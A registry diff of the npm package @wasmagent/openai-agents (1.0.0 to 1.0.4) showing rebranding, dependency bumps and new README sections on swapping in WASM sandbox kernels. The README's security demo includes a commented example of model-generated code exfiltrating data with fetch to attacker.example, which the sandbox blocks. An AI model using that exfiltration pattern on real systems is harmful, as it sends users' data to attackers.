@wasmagent/openai-agents 1.0.0 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE CHANGED
@@ -186,7 +186,7 @@
186
186
  same "printed page" as the copyright notice for easier
187
187
  identification within third-party archives.
188
188
 
189
- Copyright 2026 agentkit-js contributors
189
+ Copyright 2026 WasmAgent contributors
190
190
 
191
191
  Licensed under the Apache License, Version 2.0 (the "License");
192
192
  you may not use this file except in compliance with the License.
package/README.md CHANGED
@@ -1,5 +1,7 @@
1
1
  # /openai-agents
2
2
 
3
+ > **Maturity: beta** — API shape may change in minor versions; changes announced in CHANGELOG.
4
+
3
5
  > Drop wasmagent sandbox kernels into the **OpenAI Agents JS SDK** as a
4
6
  > native `tool`. Edge-safe code execution, one capability manifest, runs on
5
7
  > Cloudflare Workers / Vercel Edge / Node — no E2B sandbox required.
@@ -21,10 +23,43 @@ isolation. It does **not** cover:
21
23
  - Workloads where 50 ms is too long for cold start and per-second container
22
24
  billing dominates the cost.
23
25
 
24
- The agentkit kernels live below the OS line — QuickJS-in-WASM, Pyodide-in-WASM,
26
+ The wasmagent kernels live below the OS line — QuickJS-in-WASM, Pyodide-in-WASM,
25
27
  or Wasmtime — so they run wherever JS runs. This package binds them to the
26
28
  Agents JS `Tool` shape.
27
29
 
30
+ ## Before / After
31
+
32
+ Replacing the OpenAI built-in `code_interpreter` tool with a wasmagent WASM kernel:
33
+
34
+ ```diff
35
+ const agent = new Agent({
36
+ name: "math-helper",
37
+ tools: [
38
+ - { type: "code_interpreter" }, // ← hosted, no edge support, per-session billing
39
+ + sandboxedJsAgentTool({ kernel: new QuickJSKernel() }),
40
+ + // ↑ in-process, edge-safe, $0/call, full CapabilityManifest
41
+ ],
42
+ });
43
+ ```
44
+
45
+ Full before/after:
46
+
47
+ ```diff
48
+ +import { sandboxedJsAgentTool } from "@wasmagent/openai-agents";
49
+ +import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
50
+
51
+ const agent = new Agent({
52
+ name: "math-helper",
53
+ tools: [
54
+ - { type: "code_interpreter" },
55
+ + sandboxedJsAgentTool({
56
+ + kernel: new QuickJSKernel(),
57
+ + capabilities: { allowedHosts: [] },
58
+ + }),
59
+ ],
60
+ });
61
+ ```
62
+
28
63
  ## Install
29
64
 
30
65
  ```bash
@@ -71,7 +106,7 @@ const agent = new Agent({ name: "ops", tools: [portalTool] });
71
106
 
72
107
  ## Kernel selection — pick the right tier
73
108
 
74
- `sandboxedJsAgentTool()` and `codeModeAgentTool()` accept any agentkit
109
+ `sandboxedJsAgentTool()` and `codeModeAgentTool()` accept any wasmagent
75
110
  kernel. The choice is independent of the SDK adapter — swap kernels in
76
111
  one line, the rest of your code is unchanged:
77
112
 
@@ -84,6 +119,33 @@ one line, the rest of your code is unchanged:
84
119
 
85
120
  Swap is a one-liner — `kernel: new QuickJSKernel()` becomes `kernel: new PyodideKernel()`. Same `CapabilityManifest`, same OpenAI Agents JS `Tool<T>` shape.
86
121
 
122
+ ## Security demo
123
+
124
+ `CapabilityManifest` enforces network and filesystem policy at the kernel
125
+ boundary — the model cannot escape it regardless of what code it generates:
126
+
127
+ ```ts
128
+ import { sandboxedJsAgentTool } from "@wasmagent/openai-agents";
129
+ import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
130
+
131
+ const kernel = new QuickJSKernel();
132
+ const tool = sandboxedJsAgentTool({
133
+ kernel,
134
+ capabilities: {
135
+ allowedHosts: [], // no outbound network
136
+ allowedPaths: [], // no filesystem access
137
+ cpuMs: 5_000,
138
+ memoryLimitBytes: 64 * 1024 * 1024,
139
+ },
140
+ });
141
+
142
+ // Model-generated code that tries to exfiltrate data:
143
+ // fetch("https://attacker.example/exfil?data=secret")
144
+ // → throws: network access denied — host "attacker.example" not in allowedHosts
145
+ ```
146
+
147
+ The same manifest applies to both `sandboxedJsAgentTool` and `codeModeAgentTool`.
148
+
87
149
  ## Capability manifest
88
150
 
89
151
  Same `CapabilityManifest` as the other adapters — see
package/dist/index.d.ts CHANGED
@@ -1,5 +1,5 @@
1
1
  /**
2
- * @wasmagent/openai-agents — agentkit kernels as OpenAI Agents JS tools.
2
+ * @wasmagent/openai-agents — WasmAgent kernels as OpenAI Agents JS tools.
3
3
  *
4
4
  * The OpenAI Agents JS SDK (`@openai/agents`) accepts a `Tool`-shaped
5
5
  * definition: `{ name, description, parameters (Zod), execute(input) }`.
package/dist/index.js CHANGED
@@ -1,5 +1,5 @@
1
1
  /**
2
- * @wasmagent/openai-agents — agentkit kernels as OpenAI Agents JS tools.
2
+ * @wasmagent/openai-agents — WasmAgent kernels as OpenAI Agents JS tools.
3
3
  *
4
4
  * The OpenAI Agents JS SDK (`@openai/agents`) accepts a `Tool`-shaped
5
5
  * definition: `{ name, description, parameters (Zod), execute(input) }`.
package/dist/memory.d.ts CHANGED
@@ -1,7 +1,7 @@
1
1
  /**
2
2
  * @wasmagent/openai-agents — Memory tool adapter (D3, 2026-06-13).
3
3
  *
4
- * Exposes agentkit's `createMemoryTool` (cross-session KV-backed memory)
4
+ * Exposes WasmAgent's `createMemoryTool` (cross-session KV-backed memory)
5
5
  * as an OpenAI Agents JS Tool.
6
6
  *
7
7
  * See `@wasmagent/aisdk/memory` for the rationale (D3 cross-framework
package/dist/memory.js CHANGED
@@ -1,7 +1,7 @@
1
1
  /**
2
2
  * @wasmagent/openai-agents — Memory tool adapter (D3, 2026-06-13).
3
3
  *
4
- * Exposes agentkit's `createMemoryTool` (cross-session KV-backed memory)
4
+ * Exposes WasmAgent's `createMemoryTool` (cross-session KV-backed memory)
5
5
  * as an OpenAI Agents JS Tool.
6
6
  *
7
7
  * See `@wasmagent/aisdk/memory` for the rationale (D3 cross-framework
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@wasmagent/openai-agents",
3
- "version": "1.0.0",
3
+ "version": "1.0.4",
4
4
  "description": "Drop wasmagent sandbox kernels into the OpenAI Agents JS SDK as a Tool — edge-safe code execution with one capability manifest, no E2B sandbox needed",
5
5
  "type": "module",
6
6
  "main": "./dist/index.js",
@@ -18,7 +18,7 @@
18
18
  "clean": "rm -rf dist .turbo"
19
19
  },
20
20
  "dependencies": {
21
- "@wasmagent/core": "^1.0.0"
21
+ "@wasmagent/core": "^1.20.0"
22
22
  },
23
23
  "peerDependencies": {
24
24
  "@openai/agents": ">=0.1.0",
@@ -33,7 +33,7 @@
33
33
  }
34
34
  },
35
35
  "devDependencies": {
36
- "@types/node": "^22.0.0",
36
+ "@types/node": "^26.1.1",
37
37
  "typescript": "^5.7.0",
38
38
  "zod": "^3.22.0"
39
39
  },
@@ -49,6 +49,10 @@
49
49
  "tool",
50
50
  "wasmagent"
51
51
  ],
52
+ "wasmagent": {
53
+ "tier": "tier-1",
54
+ "stability": "stable"
55
+ },
52
56
  "license": "Apache-2.0",
53
57
  "repository": {
54
58
  "type": "git",